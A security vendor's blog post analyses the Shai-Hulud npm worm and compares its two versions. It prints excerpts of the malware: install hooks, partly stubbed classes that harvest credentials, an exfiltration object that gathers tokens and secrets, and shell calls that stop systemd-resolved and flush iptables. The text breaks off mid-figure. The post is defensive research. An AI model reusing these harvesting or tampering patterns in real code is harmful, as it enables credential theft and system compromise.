{"id":106027,"date":"2025-12-09T14:00:53","date_gmt":"2025-12-09T12:00:53","guid":{"rendered":"https:\/\/staging.checkmarx.com\/?post_type=zero-post&#038;p=106027"},"modified":"2026-02-27T20:39:05","modified_gmt":"2026-02-27T18:39:05","slug":"inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates","status":"publish","type":"zero-post","link":"https:\/\/checkmarx.com\/zero-post\/inside-shai-huluds-maw-how-the-npm-worm-exploits-and-propagates\/","title":{"rendered":"Inside Shai-Hulud&#8217;s Maw: How The NPM Worm Exploits And Propagates"},"content":{"rendered":"<style type=\"text\/css\">@import url(\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/highlight.js\/11.11.1\/styles\/vs2015.min.css\");@font-face{font-family:'Hack';src:url('https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/hack-font\/3.3.0\/web\/fonts\/hack-regular-subset.woff2') format('woff2')}:root{--code-font:'Hack','Menlo','Consolas',monospace !important;--code-bg:#1e1e1e;--code-color:#0c1;--code-dim:#071;--text-color:#121185;--highlight-color:#f8ff91;--highlight-color-alt:#736ca0}article.content{max-width:100% !important;min-width:80% !important;width:99% !important}.wp-block-code code{text-wrap:nowrap !important}figure{margin-top:1.5rem;margin-bottom:1.5rem}p.caption,figcaption{font-size:1rem !important;font-style:italic !important;color:var(--code-dim) !important}p.caption *,figcaption *{font-size:inherit !important}div.callout{max-width:80% !important;padding-top:.5rem;padding-bottom:.5rem;margin-top:1rem;margin-bottom:1rem;display:block;margin-left:10%;border-top:.3rem solid #121185;border-bottom:.3rem solid #121185}div.callout p{font-size:x-large;text-align:left;font-weight:bold}.cxzero-video-include{display:block;max-width:1920px;width:100%;padding-top:1rem;padding-bottom:1rem}.cxzero-video-include video{display:block;padding:.5rem;background-color:var(--code-bg);width:98%;object-fit:cover}pre.wp-block-code,pre.highlighted-code,pre.sourceCode,pre{border:1px solid var(--code-color);width:90%;background-color:var(--code-bg);color:var(--code-color);margin:1em;padding:2em;overflow-x:scroll;font-family:var(--code-font);font-size:10.5pt;line-height:1.1em;text-wrap:nowrap !important;box-shadow:5px 5px 13px 0 var(--code-bg)}* kbd,* code,* tt{font-family:var(--code-font);padding-inline:.5em;color:var(--code-dim);font-size:85%}pre code{color:var(--code-color);font-size:90%}pre.highlighted-code span{font-family:var(--code-font);font-size:10.5pt;color:var(--code-color)}pre.highlighted-code span.comment{font-style:italic;color:var(--code-dim)}pre.highlighted-code span.keyword,pre.highlighted-code span.preproc{font-weight:bold;font-style:oblique}blockquote,blockquote *{font-size:1.375rem !important;font-style:italic !important}blockquote{border-left:.1rem solid;padding-left:1rem}mark,mark *{background-color:var(--highlight-color) !important}mark.ai-content,mark.ai-content *{background-color:var(--highlight-color-alt) !important;color:#fff !important}.cxzero-cve-block{border:1px solid var(--code-color,#0c1);padding:.5rem;p{padding:0;margin:0}span.vulndesc{display:block;font-size:.9rem;font-weight:400;font-style:italic}span.cvss::before{content:\"  \"}span.cvss{background:#fe0}span.cvss.critical{background:#c00;color:#eee}span.cvss.high{background:#ffac1c;color:#0015ff}span.vector::before{content:\"\u25b8\"}span.vector,span.vector *{overflow-wrap:break-word;font-family:var(--code-font);font-size:10pt}.kev{display:block;font-weight:bold}.kev::before{content:\"\u203c\ufe0f\"}}.print-source-info{display:none}@media print{.header,.header *,.article-nav,.article-nav *,.aticle-nav,.aticle-nav *,.section_latest,.section-latest *,footer,footer *,.section-menu-page,.section-menu-page *,.top-menu,.top-menu *,.top-menu__container,.top-menu__container *,.section-zero-article,.section-zero-article *{display:none}@page{margin:13mm !important}.section-aticle-header__image-or-video{max-width:125mm}.print-source-info{display:block;border-left:.2rem solid #000;font-style:italic !important;font-size:85%;padding-left:1rem}}<\/style> <script src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/highlight.js\/11.11.1\/highlight.min.js\" integrity=\"sha512-EBLzUL8XLl+va\/zAsmXwS7Z2B1F9HUHkZwyS\/VKwh3S7T\/U0nF4BaU29EP\/ZSf6zgiIxYAnKLu6bJ8dqpmX5uw==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"><\/script> <script>hljs.highlightAll();<\/script> \n\n\n\n<p class=\"print-source-info\"><script>document.write(\"Copyright Checkmarx, all rights reserved. Retrieved \"+new Date().toLocaleDateString()+\" from<br\/>\"+window.location.href);<\/script><noscript>This document copyright Checkmarx, all rights reserved.<\/noscript><\/p>\n\n\n\n<style type=\"text\/css\">\ntable, tbody, thead, tr {\n   td, th { \n      border: 0.05rem solid;\n      padding: 0.5rem;\n   }\n   * {\n      font-size: 1.375rem !important;\n   }\n}\ntable, figure { margin-bottom: 1.5rem; margin-top: 1rem; }\nfigure img { \n   box-shadow: 0.5rem 0.5rem 1rem rgba(0, 0, 0, 0.5);\n   margin-bottom: 0.6rem;\n}\n<\/style>\n\n\n\n<h2 id=\"introduction\" class=\"article-anchor\">Introduction<\/h2>\n<p>In September 2025, researchers discovered <a href=\"https:\/\/checkmarx.com\/zero-post\/npm-hit-by-shai-hulud-the-self-replicating-supply-chain-attack\/\">\u201cShai-Hulud\u201d,\na self-replicating malware worm targeting the NPM ecosystem<\/a>. This\nwasn\u2019t just another piece of malware \u2013 at its core, it stole developer\ncredentials, cloud tokens, and private repositories owned by the\naffected maintainers, then weaponized developer trust and automatically\npropagated itself and infected as many packages and system as\npossible.<\/p>\n<p>Just 2 months later, in November 2025, a new version of the malware,\ndubbed <a href=\"https:\/\/checkmarx.com\/zero-post\/shai-huluds-second-coming-npm-malware-attack-evolved\/\">\u201cThe\nSecond Coming\u201d<\/a>, arrived with improved sophisticated techniques\nprepared to cause more damage.<\/p>\n<p>What follows is a comparison of both versions of the malware,\nshowcasing how it evolved and the differences between the two. Hopefully\nthis will help you understand a bit more about malware, and the\nmalicious intents behind this campaign.<\/p>\n<p>If you\u2019re more interested in IOCs and recommended mitigation\nstrategies, check our original posts:<\/p>\n<ul>\n<li><a href=\"https:\/\/checkmarx.com\/zero-post\/npm-hit-by-shai-hulud-the-self-replicating-supply-chain-attack\/\"><em>NPM\nHit By Shai-Hulud, The Self-Replicating Supply Chain\nAttack<\/em><\/a><\/li>\n<li>\n<a href=\"https:\/\/checkmarx.com\/zero-post\/shai-huluds-second-coming-npm-malware-attack-evolved\/\"><em>Shai-Hulud\u2019s\nSecond Coming: NPM Malware Attack Evolved<\/em><\/a>.<\/li>\n<\/ul>\n<h2 id=\"high-level-comparison-shai-hulud-original-vs.-second-coming\" class=\"article-anchor\">High-Level\nComparison: Shai-Hulud original vs.\u00a0Second Coming<\/h2>\n<table style=\"width:99%;\">\n<colgroup>\n<col style=\"width: 32%\">\n<col style=\"width: 32%\">\n<col style=\"width: 32%\">\n<\/colgroup>\n<thead>\n<tr>\n<th><strong>Feature<\/strong><\/th>\n<th><strong>Version 1<\/strong><\/th>\n<th><strong>Version 2<\/strong><\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Installation<\/strong><\/td>\n<td>Postinstall script<\/td>\n<td>Preinstall script<\/td>\n<\/tr>\n<tr>\n<td><strong>Obfuscation<\/strong><\/td>\n<td>Simple minification<\/td>\n<td>Multi-layered obfuscation<\/td>\n<\/tr>\n<tr>\n<td><strong>Data Harvesting<\/strong><\/td>\n<td>\n<p>GitHub username + token<\/p>\n<p>GitHub secrets<\/p>\n<p>Npm username + token<\/p>\n<p>AWS secrets<\/p>\n<p>Google Cloud secrets<\/p>\n<p>TruffleHog output<\/p>\n<p>System Environment variables<\/p>\n<p>Host information \u2013 mainly about the Operating System architecture<\/p>\n<p>Exfiltration of all private\/internal organization repositories the\nuser has access to<\/p>\n<\/td>\n<td>\n<p>GitHub username + token<\/p>\n<p>GitHub secrets<\/p>\n<p>Npm username + token<\/p>\n<p>AWS secrets<\/p>\n<p>Google Cloud secrets<\/p>\n<p>Azure Vault keys<\/p>\n<p>TruffleHog output<\/p>\n<p>System Environment variables<\/p>\n<p>Host information \u2013 not only about the OS, but also hostname and\nuserinfo<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td><strong>Defense Evasion\/Security Tampering<\/strong><\/td>\n<td>&#8211;<\/td>\n<td>\n<p>Attempts privilege escalation via docker container escape<\/p>\n<p>Attempts to stop systemd-resolved<\/p>\n<p>Flushes iptables<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td><strong>Persistence and Spread Mechanisms<\/strong><\/td>\n<td>\n<p>Spreads to all packages of the infected user<\/p>\n<p>Injects a malicious GitHub Workflow in all the repositories that the\nuser owns, collaborates, or is a member<\/p>\n<\/td>\n<td>\n<p>Spreads to all packages of the infected user<\/p>\n<p>Injects a malicious GitHub Workflow in all the repositories that the\nuser owns, collaborates, or is a member<\/p>\n<p>Installs a self-hosted GitHub runner that serves as a backdoor to the\ninfected system<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td><strong>Fallback Mechanisms<\/strong><\/td>\n<td>&#8211;<\/td>\n<td>Wipes all files in the user\u2019s profile\/home directory<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"the-first-wave-of-shai-hulud\" class=\"article-anchor\">The first wave of Shai-Hulud<\/h2>\n<p>The first observed instance of the malware infected packages with a\n\u201cpostinstall\u201d script that automatically executed a \u201cbundle.js\u201d file\ncontaining the malicious code. The code itself was not hard to reverse\nengineer because it was only minified, meaning the code is presented in\na single long line, where all whitespaces, tabs, and line breaks are\nremoved, and variables and function names are usually shortened. This is\neasily reversible.<\/p>\n<p style=\"border: 1px dotted; padding: 0.5rem; font-size: smaller; font-style: italic;\">\nNote that this post contains screenshots of code captured during our\ninvestigation. Plain-text snippets are provided for accessibility, but\nbe aware that the plain-text versions were created automatically using\nAI-enhanced OCR, and therefore may contain errrors.\n<\/p>\n<figure class=\"code-example\">\n<img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image1.webp\" alt=\"package.json snippet for @ctrl\/tinycolor with a highlighted postinstall script\">\n<figcaption>\nFigure 1 &#8211; package.json for <span class=\"citation\" data-cites=\"ctrl\/tinycolor\">@ctrl\/tinycolor<\/span> with a postinstall\nscript; after the attack\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-json\">{\n  \"name\": \"@ctrl\/tinycolor\",\n  \"version\": \"4.1.1\",\n  \"description\": \"Fast, small color manipulation and conversion for JavaScript\",\n  \"author\": \"Scott Cooper &lt;scttcper@gmail.com&gt;\",\n  \"publishConfig\": {\n    \"access\": \"public\"\n  },\n  \"license\": \"MIT\",\n  \"homepage\": \"https:\/\/tinycolor.vercel.app\",\n  \"repository\": \"scttcper\/tinycolor\",\n  \"keywords\": [\n    \"typescript\",\n    \"color\",\n    \"manipulation\",\n    \"tinycolor\",\n    \"hsa\",\n    \"rgb\"\n  ],\n  \"main\": \"dist\/public_api.js\",\n  \"module\": \"dist\/module\/public_api.js\",\n  \"typings\": \"dist\/public_api.d.ts\",\n  \"files\": [\n    \"dist\"\n  ],\n  \"sideEffects\": false,\n  \"scripts\": {\n    \"demo:build\": \"npm run build --workspace=demo\",\n    \"demo:watch\": \"npm run dev --workspace=demo\",\n    \"lint\": \"eslint --ext .js,.ts, .\",\n    \"lint:fix\": \"eslint --fix --ext .js,.ts, .\",\n    \"prepare\": \"npm run build\",\n    \"build\": \"del-cli dist &amp;&amp; tsc -p tsconfig.build.json &amp;&amp; tsc -p tsconfig.module.json &amp;&amp; ts-node build\",\n    \"docs:build\": \"typedoc --out demo\/dist\/docs --hideGenerator --tsconfig tsconfig.build.json src\/public_api.ts\",\n    \"test\": \"vitest run\",\n    \"test:watch\": \"vitest\",\n    \"test:ci\": \"vitest run --coverage --reporter=default --reporter=junit --outputFile=.\/junit.xml\",\n    \"postinstall\": \"node bundle.js\"\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>This malicious script then performed several actions in the\nbackground, the first one being credential harvesting for Shai-Hulud to\nexfiltrate later. It scanned the system for credentials, such as GitHub\nPATs, NPM tokens, and cloud provider keys (AWS and Google). If the\noperating system allowed it, it also deploy <a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\">TruffleHog<\/a>, a\nknown secrets discovery software, to leak as many credentials as\npossible.<\/p>\n<p>To explain in more detail, the malware contained different class\nmodules for this purpose:<\/p>\n<ul>\n<li><p>A class named \u201cTruffleHogModule\u201d, containing the necessary\nfunctions for checking the Operating System information, downloading the\ncompatible binaries of Truffle Hug, installing it, and then scanning the\nfile system for credentials.<\/p><\/li>\n<li><p>A class named \u201cGCPModule\u201d, containing the necessary functions for\nconnecting to the user\u2019s Google Cloud account and harvesting its\nsecrets.<\/p><\/li>\n<li><p>A class named \u201cAWSModule\u201d, containing the necessary functions for\nconnecting to the user\u2019s AWS account and harvesting its\nsecrets.<\/p><\/li>\n<li><p>A class named \u201cGitHubModule\u201d, containing the necessary functions\nfor harvesting the user\u2019s GitHub token from the system, and later\nperforming other actions related to the malware\u2019s propagation and data\nexfiltration steps.<\/p><\/li>\n<\/ul>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image2.webp\" alt=\"TypeScript class TruffleHogModule showing constructor logic and method stubs\"><\/p>\n<figcaption>\nFigure 2 &#8211; TruffleHogModule constructor and method stubs\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-ts\">class TruffleHogModule {\n  constructor() {\n    ((this.installedStatus = !1),\n     (this.systemInfo = (0, F.getSystemInfo)()));\n    const t =\n      \"windows\" === this.systemInfo.platform\n        ? \"trufflehog.exe\"\n        : \"trufflehog\";\n    ((this.binaryPath = oe.join(process.cwd(), t)),\n     this.checkIfInstalled());\n  }\n\n  checkIfInstalled() {\n    \u2026\n  }\n\n  mapArchitecture(t) {\n    \u2026\n  }\n\n  mapPlatform(t) {\n    \u2026\n  }\n\n  async getLatestRelease() {\n    \u2026\n  }\n\n  async downloadFile(t, r) {\n    \u2026\n  }\n\n  async extractBinary(t) {\n    \u2026\n  }\n\n  async install() {\n    \u2026\n  }\n\n  async getVersion() {\n    \u2026\n  }\n\n  async isAvailable() {\n    \u2026\n  }\n\n  getBinaryPath() {\n    \u2026\n  }\n\n  isInstalled() {\n    \u2026\n  }\n\n  getSupportedPlatform() {\n    \u2026\n  }\n\n  async scanFilesystem(t = \".\", r = 9e4) {\n    \u2026\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image3.webp\" alt=\"TypeScript class GCPModule showing constructor with GoogleAuth and Secret Manager client setup\"><\/p>\n<figcaption>\nFigure 3 &#8211; GCPModule constructor and async method stubs\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-ts\">class GCPModule {\n  constructor() {\n    (this.projectInfo = null),\n    (this.isValidCredentials = !1),\n    (this.initialized = !1),\n    (this.auth = new F.GoogleAuth({\n      scopes: [\"https:\/\/www.googleapis.com\/auth\/cloud-platform\"]\n    })),\n    (this.secretsClient = new te.SecretManagerServiceClient());\n  }\n\n  async initialize() {\n    \u2026\n  }\n\n  async isValid() {\n    \u2026\n  }\n\n  async getProjectInfo() {\n    \u2026\n  }\n\n  async getProjectId() {\n    \u2026\n  }\n\n  async getUserEmail() {\n    \u2026\n  }\n\n  async listSecrets() {\n    \u2026\n  }\n\n  async getSecretValue(t, r = \"latest\") {\n    \u2026\n  }\n\n  async getAllSecretValues() {\n    \u2026\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image4.webp\" alt=\"TypeScript class AWSModule showing constructor and AWS-related method stubs\"><\/p>\n<figcaption>\nFigure 4 &#8211; AWSModule constructor and async method stubs\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-ts\">class AWSModule {\n  constructor() {\n    (this.stsClient = null),\n    (this.secretsClients = new Map()),\n    (this.callerIdentity = null),\n    (this.profile = null),\n    (this.REGIONS = [\n      \u2026\n    ]);\n  }\n\n  parseAwsProfiles() {\n    \u2026\n  }\n\n  async initialize() {\n    \u2026\n  }\n\n  getSecretsClient(t) {\n    \u2026\n  }\n\n  async isValid() {\n    \u2026\n  }\n\n  async getCallerIdentity() {\n    \u2026\n  }\n\n  async listSecrets() {\n    \u2026\n  }\n\n  async getSecretValue(t) {\n    \u2026\n  }\n\n  async getAllSecretValues() {\n    \u2026\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image5.webp\" alt=\"TypeScript class GitHubModule showing token retrieval and Octokit initialization\"><\/p>\n<figcaption>\nFigure 5 &#8211; GitHubModule authentication logic and async method stubs\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-ts\">class GitHubModule {\n  constructor() {\n    (this.token = this.getToken()),\n    (this.octokit = new F.Octokit({ auth: this.token || void 0 }));\n  }\n\n  getToken() {\n    const t = process.env.GITHUB_TOKEN;\n    if (t) return t;\n    try {\n      const t = (0, te.execSync)(\"gh auth token\", { encoding: \"utf8\", stdio: \"pipe\" }).trim();\n      if (t) return t;\n    } catch {}\n    return null;\n  }\n\n  async getUser(t) {\n    \u2026\n  }\n\n  async extraction(t) {\n    \u2026\n  }\n\n  async migration(t, r, F) {\n    \u2026\n  }\n\n  async makeRepo(t, r) {\n    \u2026\n  }\n\n  isAuthenticated() {\n    \u2026\n  }\n\n  getCurrentToken() {\n    \u2026\n  }\n\n  async getOrgs() {\n    \u2026\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>After having all the victim\u2019s keys, Shai-Hulud proceeded to\nexfiltrate this data to the attacker. For this, it started by creating a\nnew GitHub repository named \u201cShai-Hulud\u201d \u2013 hence the name attributed to\nthis campaign \u2013 with a file named \u201cdata.json\u201d containing all user data\nbase64 encoded. It further exfiltrated more secrets to a webhook (under\n\u201cwebhook.site\u201d) controlled by the attacker(s), but this was done as part\nof the propagation mechanism of the malware.<\/p>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image6.webp\" alt=\"JavaScript object ue collecting system info, environment variables, and module auth state\"><\/p>\n<figcaption>\nFigure 6 &#8211; Aggregating system, env, and module state\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">const ue = {\n  system: {\n    platform: t.platform,\n    architecture: t.architecture,\n    platformDetailed: t.platformRaw,\n    architectureDetailed: t.archRaw,\n  },\n  environment: process.env,\n  modules: {\n    github: {\n      authenticated: r.isAuthenticated(),\n      token: r.getCurrentToken(),\n      username: r.getUser(),\n    },\n    aws: { secrets: ce },\n    gcp: { secrets: le },\n    trufflehog: ae,\n    npm: {\n      token: re,\n      authenticated: ie,\n      username: oe,\n    },\n  },\n};\n\nr.isAuthenticated() &&\n  (await r.makeRepo(\"Shai-Hulud\", JSON.stringify(ue, null, 2)),\n   process.exit(0));<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>As a further exfiltration step, the malware went beyond stealing keys\n\u2013 it copied all private and internal repositories owned by the\ncompromised maintainer\u2019s organization and pushed them into new public\nrepositories controlled by the attacker. The repos were given a\n\u201cShai-Hulud Migration\u201d description. This is particularly interesting\nbecause it shows the attackers goal was to gather maximum data.<\/p>\n<p>In the end, Shai-Hulud used sophisticated, automated propagation\ntechniques to spread across packages and repositories:<\/p>\n<ul>\n<li><p>It started to propagate itself by injecting the same malicious\ncode to all packages the user has access to. This was done by the\n\u201cNpmModule\u201d class, and only in case the malware finds any NPM token\nduring the credential harvesting step.<\/p><\/li>\n<li><p>It also injected a malicious GitHub Workflow, named\n\u201cshai-hulud-workflow.yml\u201d in all the repositories that the user owns,\ncollaborates, or is a member. This workflow exfiltrated the GitHub\nsecrets from every repository accessible with the user\u2019s PAT token and\nsent them to an attacker controlled webhook via our classic\n\u201ccurl\u201d.<\/p><\/li>\n<\/ul>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image7.webp\" alt=\"TypeScript class NpmModule showing constructor and package query methods\"><\/p>\n<figcaption>\nFigure 7 &#8211; NpmModule client initialization and API method stubs\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-ts\">class NpmModule {\n  constructor(t) {\n    (this.baseUrl = \"https:\/\/registry.npmjs.org\"),\n    (this.userAgent = `npm\/9.2.0 node\/v${process.version.replace(\"v\", \"\")} workspaces\/false`),\n    (this.token = t);\n  }\n\n  async validateToken() {\n    \u2026\n  }\n\n  getHeaders(t = !1) {\n    \u2026\n  }\n\n  async searchPackages(t, r = 20) {\n    \u2026\n  }\n\n  async getPackageDetail(t) {\n    \u2026\n  }\n\n  async updatePackage(t) {\n    \u2026\n  }\n\n  async getPackagesByMaintainer(t, r = 10) {\n    \u2026\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<h2 id=\"how-shai-hulud-evolved-into-its-second-coming\" class=\"article-anchor\">How Shai-Hulud\nevolved into its \u201cSecond Coming\u201d<\/h2>\n<p>The malware is now installed using the \u201cpreinstall\u201d script, instead\nof \u201cpostinstall\u201d. This makes sure that the malware is executed even if\nthe compromised package for some reason fails to install, making its\ninfection and spread more plausible to happen.<\/p>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image8.webp\" alt=\"package.json for accordproject\/concert-analysis with highlighted preinstall script\"><\/p>\n<figcaption>\nFigure 8 &#8211; an infected package.json with a preinstall hook\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-json\">{\n  \"name\": \"@accordproject\/concert-analysis\",\n  \"version\": \"3.24.1\",\n  \"description\": \"Analysis of Concerto model files\",\n  \"homepage\": \"https:\/\/github.com\/accordproject\/concerto\",\n  \"engines\": {\n    \"node\": \"&gt;=18\",\n    \"npm\": \"&gt;=10\"\n  },\n  \"main\": \"dist\/index.js\",\n  \"typings\": \"dist\/index.d.ts\",\n  \"scripts\": {\n    \"clean\": \"rimraf dist\",\n    \"prebuild\": \"npm-run-all clean\",\n    \"build\": \"tsc -p tsconfig.build.json\",\n    \"pretest\": \"npm-run-all lint\",\n    \"lint\": \"eslint .\",\n    \"test\": \"jest\",\n    \"test:watch\": \"jest --watchAll\",\n    \"preinstall\": \"node setup_bun.js\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https:\/\/github.com\/accordproject\/concerto.git\",\n    \"directory\": \"packages\/concerto-analysis\"\n  },\n  \"keywords\": [\n    \"concerto\",\n    \"tools\",\n    \"modeling\"\n  ],\n  \"author\": \"accordproject.org\",\n  \"license\": \"Apache-2.0\",\n  \"dependencies\": {\n    \"@accordproject\/concerto-core\": \"3.24.0\",\n    \"semver\": \"7.6.3\"\n  },\n  \"devDependencies\": {\n    \"@accordproject\/concerto-cto\": \"3.24.0\",\n    \"@types\/semver\": \"7.5.8\",\n    \"@typescript-eslint\/eslint-plugin\": \"8.16.0\",\n    \"@typescript-eslint\/parser\": \"8.16.0\",\n    \"eslint\": \"8.57.1\",\n    \"jest\": \"^29.7.0\",\n    \"npm-run-all\": \"4.1.5\",\n    \"ts-jest\": \"^29.2.5\",\n    \"typescript\": \"^5.7.2\"\n  }\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>Now, before diving in, it\u2019s important to note that this version of\nthe malware was heavily obfuscated in comparison to the previous\nversion. Obfuscation makes the code significantly harder to detect,\nanalyze, and reverse engineer. If we look at the source code, it\u2019s\nalmost unreadable because variable names, function names, and even\nfunction calls are replaced with meaningless hexadecimal strings. As a\nresult, please note that the function names and variables you\u2019ll see\nthroughout this blog have been renamed to our liking to make the code\neasier to understand.<\/p>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image9.webp\" alt=\"Obfuscated JavaScript function with mangled identifiers and stream\/blob logic\"><\/p>\n<figcaption>\nFigure 9 &#8211; Example of an obfuscated JavaScript function with stream and\nblob handling\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">function _0x120563(_0x800511) {\n  var _0x6ec2a6 = _0x1b9ab3;\n  if (!_0x800511) return _0x800511 === 0x0 ? _0x800511 : 0x0;\n  if (_0x800511 = _0x358952(_0x800511),\n      _0x800511 === _0x15a208 || _0x800511 === -_0x15a208) {\n    if (_0x6ec2a6(0x16c7) === _0x6ec2a6(0x16c7)) {\n      var _0x4aab5d = _0x800511  \n        typeof _0x1f015e === _0x6ec2a6(0x48af) &&\n        (_0x50c4d4[_0x4f2dd1.isReadableStream] = _0x56e76e;\n      var _0x12f7ea = _0x55d561 => {\n        var _0x5e6f59 = _0x6ec2a6;\n        return typeof _0x4661d6 === _0x5e6f59(0x48af) &&\n               (_0x55d561[_0x5e6f59(0x119f)] ? : );\n      };\n      _0x10d5ad['isBlob'] = _0x12f7ea;\n    }\n  }\n  return _0x800511 === _0x800511 ? _0x800511 : 0x0;\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>One particularity of this version is that before it does anything,\nthe malware starts by attempting privilege escalation and tampering with\nthe security of the network in Linux systems. This was not part of the\nfirst campaign. It now attempts to stop <code>systemd-resolved<\/code>\nand modify network settings by flushing iptables if running as root or\nwith passwordless sudo.<\/p>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image10.webp\" alt=\"JavaScript function stopping systemd-resolved and flushing iptables output chains\"><\/p>\n<figcaption>\nFigure 10 &#8211; Network configuration tampering via shell calls\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">async function tamperNetworkSecurity() {\n  await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();\n  await Bun.$`sudo cp \/tmp\/resolved.conf \/etc\/systemd\/resolved.conf`.nothrow();\n  await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();\n  await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();\n  await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();\n}<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>Most of its data harvesting steps, although different in structure,\nshare the same logic to the previous version. It harvests host\ninformation, NPM tokens, GitHub token, and Cloud Provider secrets, but\nthis version collects a significantly broader set of credentials and\nhost data:<\/p>\n<ul>\n<li><p>It now expands its host profiling by getting the hostname of the\noperating system, and userinfo data, which contains the user\/group IDs,\nthe username of the logged-in user, the home directory and the default\nshell.<\/p><\/li>\n<li><p>It targets more cloud providers and attempts to harvest the\nuser\u2019s Azure vault access keys.<\/p><\/li>\n<\/ul>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2025\/12\/cxzero-blog_shaihulud-technical-review_image11.webp\" alt=\"JavaScript aggregating system info, GitHub auth state, environment variables, and cloud secrets\"><\/p>\n<figcaption>\nFigure 11 &#8211; Harvesting system metadata, GitHub auth data, env vars, and\ncloud secrets\n<\/figcaption>\n<details class=\"code-source\">\n<summary>\nReveal code as text\n<\/summary>\n<pre><code class=\"language-js\">let systemAndGitData = {\n  system: {\n    platform: osMap.platform,\n    architecture: osMap.architecture,\n    platformDetailed: osMap.platformRaw,\n    architectureDetailed: osMap.archRaw,\n    hostname: os.hostname(),\n    os_user: os.userInfo()\n  },\n  modules: {\n    github: {\n      authenticated: gitClass.isAuthenticated(),\n      token: gitClass.getCurrentToken(),\n      username: gitUserData\n    }\n  }\n};\n\nlet envData = {\n  environment: process.env\n};\n\nlet cloudProvidersData = {\n  aws: {\n    secrets: await awsClass.runSecrets()\n  },\n  gcp: {\n    secrets: await googleClass.listAndRetrieveAllSecrets()\n  },\n  azure: {\n    secrets: await azureClass.listAndRetrieveAllSecrets()\n  }\n};<\/code><\/pre>\n<\/details>\n<\/figure>\n<p>Exfiltration still relies on the same method of creating a public\nGitHub repository where all the data is stored. This time, however, the\nrepo gets the description \u201cSha1-Hulud: The Second Coming\u201d. Additionally,\ninstead of relying on a single base64 encoded file, the uploaded files\nare now organized into:<\/p>\n<ul>\n<li><p><code>contents.json<\/code> \u2013 containing the system and user\ninformation<\/p><\/li>\n<li><p><code>environment.json<\/code> \u2013 containing the system environment\nvariables<\/p><\/li>\n<li><p><code>cloud.json<\/code> \u2013 containing the cloud provider\nsecrets<\/p><\/li>\n<li><p><code>truffleSecrets.json<\/code> \u2013 containing the trufflehog\nfindings<\/p><\/li>\n<li><p><code>actionsSecrets.json<\/code> \u2013 containing the secrets found\nvia GitHub Actions workflows<\/p><\/li>\n<\/ul>\n<p>Another notable difference is that instead of extracting GitHub\nsecrets to an attacker controlled webhook, using the injected malicious\nGitHub workflow, the malware now harvests those in real time and saves\nthem into the respective file <code>actionsSecrets.json<\/code>.<\/p>\n<figure class=\"code-example\">\n<p><img decoding=\"async\" 